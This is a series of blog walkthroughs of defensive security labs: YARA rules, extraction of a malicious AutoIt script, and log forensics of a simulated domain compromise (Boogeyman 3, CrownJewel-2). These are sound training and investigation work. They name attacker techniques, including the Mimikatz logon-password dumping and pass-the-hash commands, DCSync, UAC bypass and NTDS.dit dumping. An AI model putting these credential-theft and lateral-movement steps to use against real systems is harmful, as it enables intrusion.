There we have it! That was an excellent introduction to YARA Rules. During this challenge, we manually analyzed a rule to understand who wrote it and what strings it searches for. Then, we dove into IDA to analyze the malware binary and confirm a match manually. Then, we leveraged the rule on Hybrid Analysis to hunt for matching samples. With our objectives complete, let’s close out this walkthrough of the YARA Rule challenge!

Another big thank you to LetsDefend for continuing to provide these engaging labs. I chose this challenge because, while I’ve been vaguely aware of YARA rules, I’ve never had the occasion to use them in my day job. This was a great opportunity to learn more and start turning the gears on how these powerful rules can quickly identify threats — mission accomplished! I was pleasantly surprised that there was a reverse engineering component to this lab, as I hadn’t had a chance to try IDA before— very cool! My favorite part was hunting on Hybrid Analysis with the YARA rule. I’ve visited that site countless times but never knew that feature existed. It just goes to show that in this field, you will learn a dozen new things a day.

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

YARA GitHub: https://virustotal.github.io/yara/

YARA Docs: https://yara.readthedocs.io/en/latest/writingrules.html

IDA: https://hex-rays.com/ida-free

Hybrid Analysis: https://www.hybrid-analysis.com/yara-search/results/5d48cfcb207cbe9e9cfeefebc3284c5e05d6dbc433455bc2540e68b3c937b9bc

LetsDefend — Malicious AutoIT Challenge Walkthrough

Mon, 13 Jan 2025 00:00:00 +0000

LetsDefend— Malicious AutoIT Challenge Walkthrough

A malicious script analysis challenge using Detect It Easy, AutoIt-Ripper, and Notepad++

Image Credit: https://app.letsdefend.io/challenge/malicious-autoit

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog searching for a comprehensive walkthrough of the Malicious AutoIT challenge from LetsDefend, you’re in the right place.

In this scenario, the SOC has detected malicious activity on an endpoint stemming from a suspicious executable. Our objective is to analyze the suspicious file, extract the script, and determine what it does.

To do this, we’re going to leverage several tools including Detect It Easy, a " # "

powerful tool for file type identification," AutoIt Ripper to extract the script contents, and trusty Notepad++ for viewing the script contents.

While this challenge is geared toward beginners, there are excellent learning opportunities for all skill levels, especially if you aren’t familiar with AutoIt. Sounds like fun, right? Let’s get into it!

And hey, if you find this walkthrough helpful — whether it levels-up your skills, gets you through a stumbling block, or serves as a handy reference — please give it a clap!

Thanks for reading and going on this investigation with me!

Challenge Link: https://app.letsdefend.io/challenge/malicious-autoit

Challenge Scenario:

Our organization’s Security Operations Center (SOC) has detected suspicious activity related to an AutoIt script. Can you analyze this exe and help us answer the following questions?

Question 1: What is the MD5 hash of the sample file?

Okay, let’s kick off our investigation by extracting the sample.7z archive from the ChallengeFile folder. This will leave us with the sample we need to analyze.

Since we don’t have any information about this file or even what it is, we need to do some sleuthing. A great starting point is to use Detect It Easy (DIE) to identify the file and perform some cursory analysis. Fortunately for us, this tool is already installed on the LetsDefend analysis environment in the Tools folder. Let’s go ahead and open it, then point it to the mysterious sample file.

Once DIE is loaded and has parsed the sample, we can start to gather some information about the file. Notice something interesting in the PE32 info window: it shows that this executable is a compiled AutoIt(3.XX) script.

Let’s get some background on AutoIt. According to the project’s website:

AutoIt v3 is a freeware BASIC-like scripting language designed for automating the Windows GUI and general scripting. It uses a combination of simulated keystrokes, mouse movement and window/control manipulation in order to automate tasks in a way not possible or reliable with other languages (e.g. VBScript and SendKeys).

and

Scripts can be compiled into standalone executables

Cool! That sounds extremely useful to a system administrator, but it might also be useful for a bad actor. We can confirm this by taking a look at the MITRE ATT&CK knowledge base, where we’ll find that abusing AutoIt scripts is a known adversary technique (T1059.010).

The Main Detect It Easy Window

But let’s not get too far ahead of ourselves just yet. To answer Question 1, we first need to collect the MD5 hash of the sample file. We can find this in DIE by pressing File Info, then selecting Hash under the Method drop-down menu.

The MD5 value is all we’ll need to answer Question 1.

Question 2: According to the Detect It Easy (DIE) tool, what is the entropy of the sample file?

We can find the answer to Question 2 with a simple click of the Method drop-down menu again and selecting Entropy:

In malware analysis, entropy measures the randomness within data, with higher values indicating potential obfuscation techniques like encryption or compression, often used by malware to evade detection. For example, the value of the sample we’re analyzing is on the higher side which raises suspicion.

Question 3: According to the Detect It Easy(DIE) tool, what is the virtual address of the " # "

.text" section?

To answer Question 3, navigate back to the main Detect It Easy window and click the €˜>’ to the right of the **" # "

Sections" ** area**.** This will open up the PE window for a deeper analysis.

Once the window is open, you’ll see a list of sections including the one we are looking for, named .text. The " # "

**VirtualAddress" ** value is what we’re after.

Notice that the question specifies the answer format as 0x0000. This doesn’t match what we are seeing in DIE. No problem! The question is looking for the hexadecimal notation, so we just need to perform a simple conversion. Strip off the leading zeroes used for padding (it doesn’t change the value) and then add the " # "

0x," prefix to indicate that the number is in the hex format. For example, 00001000 becomes 0x1000 .

Question 4: According to the Detect Easy tool, what is the " # "

time date stamp" ?

Question 4 is an easy one. Navigate back to the main Detect It Easy window and we’ll find the information readily available.

Question 5: According to the Detect It Easy (DIE) tool, what is the entry point address of the executable?

Still working within the main Detect it Easy window, look for the Entry point field. Follow the same process that we used in Question 3 to convert the address to the requested format.

Question 6: What is the domain used by the malicious embedded code?

To tackle Question 6, we’re going to need to get creative. Remember back in Question 1 that we learned that AutoIt scripts can be compiled as executables? What if we could extract the AutoIt scripts out of the binary for analysis?

Luckily, there is a tool to do exactly this, and it’s already installed in the LetsDefend analysis environment: AutoIt-Ripper. According to the project’s GitHub, the utility is **" # "

**a short python script that allows for extraction of €˜compiled’ AutoIt scripts from PE executables," so we can dissect the resulting .au3 script file.

GitHub - nazywam/AutoIt-Ripper: Extract AutoIt scripts embedded in PE binaries _Extract AutoIt scripts embedded in PE binaries. Contribute to nazywam/AutoIt-Ripper development by creating an account…_github.com

Referencing the AutoIt-Ripper documentation, we can run the tool from PowerShell with the following syntax:

autoit-ripper sample.exe out_directory

For example, here is the command I used to extract the script from the sample binary and output to a folder called " # "

ripped" .

autoit-ripper C:\Users\LetsDefend\Desktop\ChallengeFile\sample C:\Users\LetsDefend\Desktop\ChallengeFile\ripped

Then, we’ll take the output file, script.au3 , and open in a text editor like Notepad++ to view the contents. It may look a little overwhelming at first, but let’s scroll through the script, performing a cursory glance for anything that looks like a URL.

Before long, we’ll stumble on line 39 where we see a reference to the InetRead function used to download files from the internet, pointing to a URL containing the domain we’re searching for.

Question 7: What is the file path encoded in hexadecimal in the malicious code?

Continuing to search the script, we’re looking for a hexadecimal number. Remember, we can identify a hexadecimal number by searching for the prefix 0x, the same method we used to format the answers in Questions 3 & 5. We’ll find the answer on line 46.

To figure out the file path, we need to make it readable. We can do this easily by using a tool like CyberChef. Simply add the From Hex operation to the Recipe and paste the value we discovered in the script. This will reveal the file path needed to answer the question.

From Hex Operation in CyberChef.

Question 8: What is the name of the DLL called by the malicious code?

We’ve made it to the last question! Within the script, we see several references to DLLs, but the DllCall function seems to be the most relevant. On line 53, we can see this function being used to call user32.dll .

Conclusion:

There we have it! By using Detect It Easy, we were able to analyze the sample file and determine that it is a compiled AutoIt script. Then, using AutoIt-Ripper, we extracted the script to learn more about its capabilities. With our objectives completed, let’s wrap this investigation!

A big thank you to LetsDefend, for the interesting lab scenario. I selected this one because I was not familiar with AutoIt and its capabilities, but I have seen it mentioned as a potential attack vector recently. It was really fascinating to see how these scripts can be compiled as executables and extremely valuable to learn that the contents can be extracted for analysis. This will be a handy tool for the kit if I encounter this again in the real world.

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

AutoIT: https://www.autoitscript.com/site/autoit/

Detect-It-Easy: https://github.com/horsicq/Detect-It-Easy

MITRE ATT&CK — Command and Scripting Interpreter: AutoHotKey & AutoIT (T1059.010): https://attack.mitre.org/techniques/T1059/010/

AutoIT Ripper: https://github.com/nazywam/AutoIt-Ripper

Notepad++: https://notepad-plus-plus.org/

VirusTotal: https://www.virustotal.com/

CyberChef: https://gchq.github.io/CyberChef/

TryHackMe — Boogeyman 3 Challenge Walkthrough

Mon, 06 Jan 2025 00:00:00 +0000

TryHackMe — Boogeyman 3 Challenge Walkthrough

A Domain Forensic Investigation using Kibana

Image Credit: https://tryhackme.com/r/room/boogeyman3

Introduction:

Have you feared the return of the Boogeyman?

If not, you’ve stumbled on the right blog! Welcome to my weekly walkthrough. This is a comprehensive walkthrough of the Boogeyman 3 challenge from TryHackMe, the third in a series of capstone challenges for their SOC Level 1 learning path. This challenge is a digital forensics and incident response (DFIR) engagement for the final showdown with a fictional threat actor called the Boogeyman.

If you want to catch up on how we got here, check out my walkthroughs of Boogeyman 1 & Boogeyman 2 first.

TryHackMe — Boogeyman 1 Challenge Walkthrough

TryHackMe — Boogeyman 2 Challenge Walkthrough

To unmask the Boogeyman this time_,_ we’re all about hunting through logs within Kibana, part of the Elastic Stack, to figure out how the latest attack unfolded against an organization compromised by this persistent, shadowy threat actor. Doesn’t sound so scary, right?

Now let’s grab our flashlights and shine a light on the Boogeyman’s latest tactics, techniques, and procedures. I don’t want to ruin any of the surprises, so this walkthrough is spoiler-free, but please use it as a reference and enjoy! Thanks for reading along!

Challenge Link: https://tryhackme.com/r/room/boogeyman3

Challenge Scenario:

Due to the previous attacks of Boogeyman, Quick Logistics LLC hired a managed security service provider to handle its Security Operations Center. Little did they know, the Boogeyman was still lurking and waiting for the right moment to return.

In this room, you will be tasked to analyse the new tactics, techniques, and procedures (TTPs) of the threat group named Boogeyman.

Without tripping any security defences of Quick Logistics LLC, the Boogeyman was able to compromise one of the employees and stayed in the dark, waiting for the right moment to continue the attack. Using this initial email access, the threat actors attempted to expand the impact by targeting the CEO, Evan Hutchinson.

Question 1: What is the PID of the process that executed the initial stage 1 payload?

First things first. After starting the lab environment, enter the Elastic web console and navigate to the Analytics > Discover module. This dashboard is where we’ll be exploring the logs within the winlogbeat index_._

Once we get into our dashboard, we’ll have to adjust the time filters to view the logged events during the time of the incident. Fortunately, the security team reported to us that “the incident occurred between August 29 and August 30, 2023” so we can narrow the scope by modifying the dates in the time selection field.

We’ll filter the first date/time, selecting Absolute and setting the start date to August 29th, 2023, at 0:00 and the end date of August 30th, 2023, at 23:30. This selection gives us all the logs ingested during the incident.

Now that we have the time period set, where do we start? Well, remember from the scenario that the initial access method was a spear phishing email that had an attachment executed by the CEO, Evan Hutchinson. The security team discovered that the attachment was an ISO file containing a “PDF” file — ProjectFinancialSummary_Q3.pdf.

We saw from the triage that Windows Explorer displayed this is an HTML application (HTA), not a PDF. So, we’re potentially looking for malicious Mshta code execution activity. But let’s start broadly and simply search for the file name by entering it into the search bar at the top of the window.

This will produce 4 events for us to review. Let’s start with the first event with the oldest time stamp. As we suspected, we see our parent file spawning mshta.exe to handle the file along with the corresponding ProcessId that we’ll need to answer Question 1.

Before we submit our answer, note the hostname, host IP address, and username of the CEO’s compromised workstation. This will help us stay organized as we follow the attack.

WKSTN-0051 / 10.10.155.159 / evan.hutchinson

Question 2: The stage 1 payload attempted to implant a file to another location. What is the full command-line value of this execution?

Now, let’s focus on the next event in the list. We see evidence of [xcopy](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/xcopy) activity which can be used to move files around the system.

Since we’re interested in the full command to understand what file was copied and to which destination, let’s make some adjustments to our dashboard and toggle some columns within our table instead of expanding the event. This will allow us to see the full process.command_line field easily and have a cleaner view moving forward.

To do this, search the Available fields column on the left-hand side and press the + button to add the process.command_line field as a column.

You’ll notice in the screenshots below that I also added the process.parent.executable and host.hostname fields as columns too, making it far easier to see the sequence of events at a glance.

Now, revisiting the second event with this view, we’ll see the full command-line value for the [xcopy](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/xcopy) activity, revealing that the attacker moved a file from the ISO to a temporary directory on WKSTN-0051.

Question 3: The implanted file was eventually used and executed by the stage 1 payload. What is the full command-line value of this execution?

Continuing through the timeline, let’s look at the third event. Analyzing the command line, we see [rundll32](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/rundll32) executed to register a DLL within the ISO.

Question 4: The stage 1 payload established a persistence mechanism. What is the name of the scheduled task created by the malicious script?

Next, examine the last of the four events. By focusing on the process.command_line column, we can see that PowerShell is used to create a new Scheduled Task for persistence. This task executes [rundll32](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/rundll32) to register the file transferred to WKSTN-0051 via [xcopy](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/xcopy) from Question 2.

Examining the Register-ScheduledTask parameter, we’ll find the name of the task in the command:

Question 5: The execution of the implanted file inside the machine has initiated a potential C2 connection. What is the IP and port used by this connection? (format: IP:port)

Since we’re out of events to analyze in the current search, we need to pivot and expand our scope. Since we know from the last question that the attacker is leveraging PowerShell, let’s try narrowing our search for that. Fortunately for us, Quick Logistics LLC, had deployed Sysmon on the CEO’s workstation which gives us an advantage.

Searching for PowerShell.exe and querying Sysmon Event ID 3 for “t_he network connection event logs TCP/UDP connections on the machine_” might help find some clues leading us to uncover the command and control (C2) connection.

First, we’ll input the search.

powershell.exe and event.provider : “Microsoft-Windows-Sysmon” and event.code : “3”

Then, enter destination.ip into the search field names box and click the field name. This will show us the top 5 values across the logs. Notice that there are three IP addresses: One is the CEO’s workstation, another is the IPv6 local loopback, and the top result is an external IP. The external IP is present in the overwhelming majority of the searched PowerShell logs. It’s suspicious that a compromised workstation would connect to an external IP address over PowerShell.

For the second half of the question, we can check the destination.port field to find the port number. Since there is only one entry, we don’t need to look any further. Now we have both the IP Address and Port of the C2 connection.

Question 6: The attacker has discovered that the current access is a local administrator. What is the name of the process used by the attacker to execute a UAC bypass?

Now that we’ve identified the C2 server, we need to understand how the attacker escalated privileges and bypassed user account control (UAC). Recall from Question 2 that the stage 1 payload leveraged xcopy to implant a file onto the CEO’s workstation?

Let’s search for the implanted file, review.dat, to understand what other actions were performed. Right away we’ll see some discovery activity including whoami and net.exe commands used to enumerate local group membership and the associated permissions. But that’s not what we’re interested in. Notice another odd executable in the list for the Windows Features on Demand Helper. This seems out of place, doesn’t it?

Let’s research on MITRE ATT&CK to understand if this executable can be abused to bypass UAC. With a quick search, we’ll land on the page for the technique Abuse Elevation Control Mechanism: Bypass User Account Control (T1548.002) where we find the note below with a reference link:

MITRE ATT&CK: https://attack.mitre.org/techniques/T1548/002/

For additional intelligence, let’s explore the reference link from Red Canary where we’ll learn that the executable can be abused to achieve a UAC bypass:

Processes launched by [REDACTED].exe run with elevated administrative privileges without requiring a User Account Control prompt.

This means the attacker abused the legitimate binary to execute processes as an administrator without the user account control dialogue to interfere.

Since we have discovered a known method of abusing the Features on Demand Helper binary to bypass UAC combined with the evidence that this technique was used on compromised device, we’ve found the answer to Question 6.

Question 7: Having a high privilege machine access, the attacker attempted to dump the credentials inside the machine. What is the GitHub link used by the attacker to download a tool for credential dumping?

Now, we’ll need to discover what tool the attacker downloaded onto the victim’s device from GitHub. Jumping back to the search bar, let’s search for something broad like github.com, then refine our scope, filtering the host.ip field for the CEO’s workstation (10.10.155.159 / WKSTN-0051).

The search reveals that the attacker downloaded the very famous credential dumping tool, Mimikatz — not good! Let’s press forward to determine what the attacker was able to access.

Question 8: After successfully dumping the credentials inside the machine, the attacker used the credentials to gain access to another machine. What is the username and hash of the new credential pair? (format: username:hash)

Now that we’ve discovered the attacker downloaded Mimikatz, let’s continue analyzing the logs from the CEO’s workstation focusing on the executable name of the tool inside the mimi.zip archive — mimikatz.exe.

Mimikatz activity on WKSTN-0051

Here we’ll observe that Mimikatz dumps the credentials for users recently logged-on to the workstation (sekurlsa::logonpasswords) exposing their password hashes. Next, the attacker performs a Pass the Hash (sekurlsa::pth ) using the NTLM hash of one of the exposed administrative users — itadmin .

Question 9: Using the new credentials, the attacker attempted to enumerate accessible file shares. What is the name of the file accessed by the attacker from a remote share?

So, let’s do a quick recap. We know that the attacker compromised Evan, the CEO’s, workstation with a spear-phishing attachment. Then, the stage 1 payload performed a variety of activities to establish a foothold including using PowerShell to create persistence mechanisms, abusing living off the land binaries to elevate privileges, and dumping privileged OS credentials after downloading Mimikatz from GitHub. Now we’ll need to find what file shares the attacker found and accessed.

Based on what we know about the attacker’s tactics, techniques, and procedures (TTPs) it’s likely that they would need to download additional tools to perform file sharing enumeration in the environment.

Let’s test this theory by first filtering all events from the CEO, Evan’s, device — WKSTN-0051.quicklogistics.org. Then, we’ll narrow the search further starting with the attacker’s known technique of using PowerShell to download tools from GitHub. For this, we’ll format a query that specifies the CEO’s workstation in the host.name field and matches all fields for the term PowerShell and a wildcard search for GitHub.

host.name : “WKSTN-0051.quicklogistics.org” and powershell.exe and github

Right away, there’s something interesting. We’ll see that PowerShell downloaded PowerView.ps1 , a network reconnaissance tool**,** then runs the [Invoke-ShareFinder](https://attack.mitre.org/techniques/T1018/) cmdlet to discover accessible file shares within the domain.

This discovery brings us one step closer by answering the how, but we still need to determine what was accessed. Let’s modify the original query, removing the GitHub wildcard, and zoom-out to all PowerShell activities from this workstation.

host.name : “WKSTN-0051.quicklogistics.org” and powershell.exe

Bingo! We see that the attacker discovered a file share on WKSTN-1327 hosting an automation script where credentials are potentially stored to enable automation. Then, using the cat command, the attacker prints the output of this script to the console giving them access to the password within.

Question 10: After getting the contents of the remote file, the attacker used the new credentials to move laterally. What is the new set of credentials discovered by the attacker? (format: username:password)

Sticking with our current search parameters, scroll up through the newer events in the timeline. Shortly, we’ll stumble upon the series of events below showing that the attacker remotely used the newly discovered credentials for allan.smith to move laterally, executing code on a second workstation.

Question 11: What is the hostname of the attacker’s target machine for its lateral movement attempt?

From the previous two steps in the analysis, we’ve already determined the hostname and user account targeted for lateral movement. Let’s check our work and move forward with the investigation.

Question 12: Using the malicious command executed by the attacker from the first machine to move laterally, what is the parent process name of the malicious command executed on the second compromised machine?

Now we’ll switch our scope to the workstation targeted for lateral movement from the last question. To do this, we’ll zoom out focusing on the Microsoft-Windows-Sysmon events again and searching Sysmon Event ID 1 or process creation events. Since we are looking for a parent/child process used for lateral movement, let’s start here and see what we find.

host.hostname : “WKSTN-1327” and event.provider : “Microsoft-Windows-Sysmon” and event.code : “1”

Excellent! Notice the encoded PowerShell command and that the timestamp follows directly after the use of the credentials from WKSTN-0051 ? The process.parent.executable of the PowerShell process is what we’ll need to answer Question 12.

Question 13: The attacker then dumped the hashes in this second machine. What is the username and hash of the newly dumped credentials? (format: username:hash)

Staying within our current filters, we’ll see that once the attacker is connected, they perform the same patterns of system discovery as on the first workstation, including downloading Mimikatz to dump credentials on the second compromised workstation.

In addition to exposing the previous credentials we found back in Question 8 again, the attacker also discovers another set of administrative credentials, which may include Domain Admin privileges.

Question 14: After gaining access to the domain controller, the attacker attempted to dump the hashes via a DCSync attack. Aside from the administrator account, what account did the attacker dump?

Keep scrolling to the newer events following the administrator account credential dump, we see the attacker performed a Pass the Hash again using the new domain admin NTLM hash to access environment’s domain controller, following-up with a DCSync attack.

This gives us a good idea of where to look next. To confirm, let’s adjust our query again focusing on events from DC01 to see the full story.

host.hostname : “DC01” and event.provider : “Microsoft-Windows-Sysmon” and event.code : “1”

Once again, we’ll see familiar TTPs including system/user discovery and downloading Mimikatz. By performing a DCSync attack the attacker accesses the account credentials from the previous question and another new set of credentials.

Question 15: After dumping the hashes, the attacker attempted to download another remote file to execute ransomware. What is the link used by the attacker to download the ransomware binary?

Now that the attacker has achieved domain dominance, we can see that a few minutes later, the attacker downloads a ransomware binary from a remote server. This is the URL needed to answer Question 15.

To be thorough and fully scope the impact of the incident, let’s make a quick adjustment to our filters to understand if the ransomware binary was also executed after download.

In the search bar, we’ll enter the name of the executable, ransomboogey.exe. But we also want to understand what user accounts were used for execution and the winlog.event_id to understand if the file was executed. For this just select the user.name and winlog.event_id fields to add them to our dashboard.

First, we’ll see that the binary is executed (Sysmon Event ID 1) on DCO1 by Administrator.

Shortly after, we see that the ransomware is created (Sysmon Event ID 11), but not executed on the CEO’s workstation, WKSTN-0051.

Finally, we’ll determine that the ransomware binary was executed on WKSTN-1327 by itadmin.

Whew! Now that we have fully answered all the questions and have built a solid understanding of how the latest Boogeyman attack unfolded, let’s wrap up this investigation!

Conclusion:

The third time’s the charm! We’ve come to the end of our frighteningly fun investigation of Boogeyman 3, facing the Boogeyman for the final time. Using our forensic skills in ELK, we learned that the Boogeyman infected CEO’s device through a spear phishing email with a malicious attachment. Then, they performed a variety of activities to establish a foothold including leveraging PowerShell to create persistence and command and control, abusing living off the land binaries to elevate privileges, dumping privileged credentials with Mimikatz, performing discovery in the environment, moving laterally, and achieving domain dominance before finally deploying ransomware. While it was a scary incident, we successfully traced the Boogeyman’s activities and now, let’s wrap this investigation — Quick Logistics LLC’s nightmare is over!

A huge thank you to TryHackMe for the excellent part III of the Boogeyman series. This challenge was the perfect way to end the year and the awesome SOC Level 1 learning path! As usual for this series, I was truly impressed with the details and narrative of this room. This one felt closer to a real-world simulation exercise than others I have completed and it really pushed me to level-up my skills in Elastic. It was really engaging to see how the Boogeyman changed tactics, techniques, and procedures between the three rooms and the stakes felt real for the fictional organization! Let’s hope we never have to deal with Boogeyman again.

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

MITRE ATT&CK: System Binary Proxy Execution: Mshta (T1218.005): https://attack.mitre.org/techniques/T1218/005/

Microsoft Learn — xcopy: https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/xcopy

Microsoft Learn — rundll32: https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/rundll32

MITRE ATT&CK: Scheduled Task/Job: Scheduled Task (T1053.005): https://attack.mitre.org/techniques/T1053/005/

Microsoft Learn — Sysmon: https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon

MITRE ATT&CK: https://attack.mitre.org/

MITRE ATT&CK: Abuse Elevation Control Mechanism: Bypass User Account Control (T1548.002): https://attack.mitre.org/techniques/T1548/002/

MITRE ATT&CK: OS Credential Dumping (T1003): https://attack.mitre.org/techniques/T1003/

MITRE ATT&CK: Mimikatz (S0002): https://attack.mitre.org/software/S0002/

MITRE ATT&CK: Remote System Discovery (T1018): https://attack.mitre.org/techniques/T1018/

MITRE ATT&CK: Use Alternate Authentication Material: Pass the Hash ( T1550): https://attack.mitre.org/techniques/T1550/002/

MITRE ATT&CK: OS Credential Dumping: DCSync (T1003.006): https://attack.mitre.org/techniques/T1003/006/

HackTheBox — CrownJewel-2 Sherlock Walkthrough

Mon, 23 Dec 2024 00:00:00 +0000

HackTheBox — CrownJewel-2 Sherlock Walkthrough

Investigating a Compromised Domain Controller Using Windows Event Logs

Image Credit: https://app.hackthebox.com/sherlocks/CrownJewel-2

Introduction:

Imagine this: You’re on the front lines of an organization’s security team, trying to catch your breath and recover from an attack against your domain controller just yesterday. Suddenly, another alert fires from the domain controller about a new exfiltration attempt of the NTDS.dit database which holds the domain’s secrets. Springing back to action, you must determine how the attacker got in this time by investigating the Windows Event Logs to establish a timeline, understand how the attack unfolded, and evict the attacker…again.

If this sounds exciting to you, welcome to my weekly walkthrough, you’ve stumbled on the right blog!

This week, we’re tackling the CrownJewel-2 challenge from Hack The Box, a direct follow-up to CrownJewel-1. The scenario assumes that we’re the same incident responder that investigated the first attack, so you’ll get the most out of this challenge if you complete CrownJewel-1 first. I’ll leave a link to my walkthrough for part 1 below.

HackTheBox — CrownJewel-1 Sherlock Walkthrough

CrownJewel-2 is another digital forensics and incident response (DFIR) challenge. This time, we’ll leverage the Windows Event Logs to understand how the attacker exfiltrated the NTDS.dit database. Using the Event Viewer, we’ll establish a timeline of the attack and track what activities occurred before the exfiltration.

While this challenge is geared toward beginners, it’s a fantastic lab for all skill levels to get some hands-on practice with Windows Event Log analysis. So, let’s grab our magnifying glasses again, take a deep breath, and get ready to dive back into the investigation!

And hey, if you find this walkthrough helpful — whether it levels-up your skills, gets you through a stumbling block, or serves as a handy reference — please give it a clap!

Thanks for reading and joining me on this investigation!

Challenge Link: https://app.hackthebox.com/sherlocks/CrownJewel-2

Challenge Scenario:

Forela’s Domain environment is pure chaos. Just got another alert from the Domain controller of NTDS.dit database being exfiltrated. Just one day prior you responded to an alert on the same domain controller where an attacker dumped NTDS.dit via vssadmin utility. However, you managed to delete the dumped files kick the attacker out of the DC, and restore a clean snapshot. Now they again managed to access DC with a domain admin account with their persistent access in the environment. This time they are abusing ntdsutil to dump the database. Help Forela in these chaotic times!!

Setup the Analysis Environment & Extract the challenge file:

[GitHub - mandiant/flare-vm: A collection of software installations scripts for Windows systems that… _A collection of software installations scripts for Windows systems that allows you to easily setup and maintain a…_github.com](https://github.com/mandiant/flare-vm?source=post_page--- –2efb81522f2c—

– “https://github.com/mandiant/flare-vm?source=post_page--- –2efb81522f2c—

–”)[](https://github.com/mandiant/flare-vm?source=post_page--- –2efb81522f2c—

–)

Okay! Once we have our virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!

Question 1: When utilizing ntdsutil.exe to dump NTDS on disk, it simultaneously employs the Microsoft Shadow Copy Service. What is the most recent timestamp at which this service entered the running state, signifying the possible initiation of the NTDS dumping process?

Time to kick off this investigation and see what the attackers are doing this time! After unzipping the challenge file, we’ll find three Windows Event Log (.evtx) files that we’ll use to investigate the attacker’s activities.

Application: Contains application related log events.
System: Contains events related to Windows and its components like services, drivers, and hardware.
Security: Contains security-related events, including user logins, access attempts, and account enumeration.

Each of these logs will have a role to play during our investigation, but to answer Question 1, we’re searching for when the Volume Shadow Service (VSSVC.exe) last entered the running state, which might correlate with suspicious ntdsutil.exe database dumping activity.

If you joined me for the CrownJewel-1 investigation, you might remember that we learned the SYSTEM log contains the start and stop events for services, logged as Event ID 7036_._ Let’s try it out.

Open the SYSTEM log and filter it for the relevant Event ID we want by pressing Filter Current Log then entering 7036 into the Event ID field.

Filtering the SYSTEM Log for Event ID 7036

Once we’ve filtered the events, press Find and enter the keywords “volume shadow copy” — to find any instances of Volume Shadow Copy service events. Since the events are listed in descending order, the newest ones will be at the top of the log — so the first hit should be the one we need to find the most recent entry.

Now, with the event selected, we can obtain the precise system time when the service was started by clicking Details tab > XML View > TimeCreated SystemTime.

Question 2: Identify the full path of the dumped NTDS file.

To answer Question 2, let’s jump over to the APPLICATION logs. Without any further filtering, let’s try simply searching for NTDS and review the hits. It may take a few tries to find a meaningful event, but then we’ll stumble on the entry below:

Here we’ll observe that the ESENT database engine created a new NTDS.dit database which is the file for which we received the exfiltration alert. Recalling what we discovered in CrownJewel-1, dumping the NTDS.dit file is a method an attacker can use to create a copy of the “Active Directory domain database in order to steal credential information.”

Notice the suspicious file path of the dump and that the time stamp is one second after the Volume Shadow Service started? These are both clues that we are on the right path.

Question 3: When was the database dump created on the disk?

Fortunately, we already noticed the event timestamp correlation in the last question. In the same event from Question 2, let’s capture the system time by navigating to the Details tab, copying the System Time for the event, and then submitting the answer to continue building our timeline.

Question 4: When was the newly dumped database considered complete and ready for use?

Since we’ve already found the database events in the APPLICATION log, let’s manually review the entries that follow the database’s creation, starting with the event from Questions 2 & 3.

Scrolling through the logs, we’ll quickly come across the following event reporting that the database engine detached the dumped NTDS.dit database, indicating that the creation is completed.

Following the same process that we used in Questions 1 & 3, copy the System Time from the detailed view and submit the answer.

Question 5: Event logs use event sources to track events coming from different sources. Which event source provides database status data like creation and detachment?

Throughout the investigation of the APPLICATION logs, you may have noticed that both database events from Questions 3 & 4 were provided by the same event source: ESENT, a database engine that’s part of Windows. This is all we need to answer Question 5.

Extensible Storage Engine Managed Reference - Win32 apps _Learn more about: Extensible Storage Engine Managed Reference_learn.microsoft.com

Question 6: When ntdsutil.exe is used to dump the database, it enumerates certain user groups to validate the privileges of the account being used. Which two groups are enumerated by the ntdsutil.exe process? Give the groups in alphabetical order joined by comma space.

The key word to answering this question is “enumerate.” To find the answer, we’ll pivot to the SECURITY log. Once again, if you followed along during the CrownJewel-1 investigation, this next part will look very familiar.

First, filter the SECURITY log for Event ID 4799 — “A security-enabled local group membership was enumerated.” This event indicates that a local group membership was queried to check the account privileges.

[4799(S) A security-enabled local group membership was enumerated. - Windows 10 _Describes security event 4799(S) A security-enabled local group membership was enumerated._learn.microsoft.com](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4799?source=post_page--- –2efb81522f2c—

– “https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4799?source=post_page--- –2efb81522f2c—

–”)[](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4799?source=post_page--- –2efb81522f2c—

–)

Now that we’re only filtering the group membership enumeration events, we can narrow it down to the entries within the timeline we found in Question 2. During this time period, we’ll notice some events with the source process name of ntdsutil.exe where two distinct groups are enumerated.

4799 — First Enumerated Group

4799 — Second Enumerated Group

Putting the two groups in the correct alphabetized format, we can submit the answer and continue.

We’ve made it to the last question! To tackle Question 7, copy the Logon ID field (0x8DE3D) from the events that we found in the previous question. We’ll use this to correlate other events that share this ID.

For more granular searching than the built-in Event Viewer filtering options allow, we can write a custom filter within the XML tab of the Filter Current Log options. This filter will only display events with the matching Logon ID and clears the 4799 event filter we had before.

[EventData[Data[@Name=‘SubjectLogonId’]=‘0x8de3d’]]

With our custom filter in place, scroll to the bottom of the list (if you’re still in descending order) to find the oldest events. Here, we’ll find a few, non-enumeration (4799) events with the same timestamp.

For one last time, switch to the XML View for any of these events, copy the System Time value, and submit the answer. Now let’s wrap up this investigation!

Conclusion:

Let’s wrap up this investigation of CrownJewel-2 with a quick recap: Using the Windows Event logs, we discovered details about how and when ntdsutil was abused on the domain controller, including the start time, dumped file path, enumerated groups, and Logon ID. This helps us identify the attacker’s activities and create a detailed timeline to document the incident. Great job with the triage!

A big thank you to Hack The Box for the fun and realistic challenge! This is the first series of Sherlocks that I’ve done with the platform, and it was an excellent experience both times. Remember, while this challenge is geared toward beginners, the narrative and triage processes are very realistic and valuable practice for all skill levels. Continuous, hands-on practice is key to staying sharp for incident response in the real world — very cool stuff!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

FLARE-VM: https://github.com/mandiant/flare-vm

MITRE ATT&CK — OS Credential Dumping: NTDS (T1003.003): https://attack.mitre.org/techniques/T1003/003/

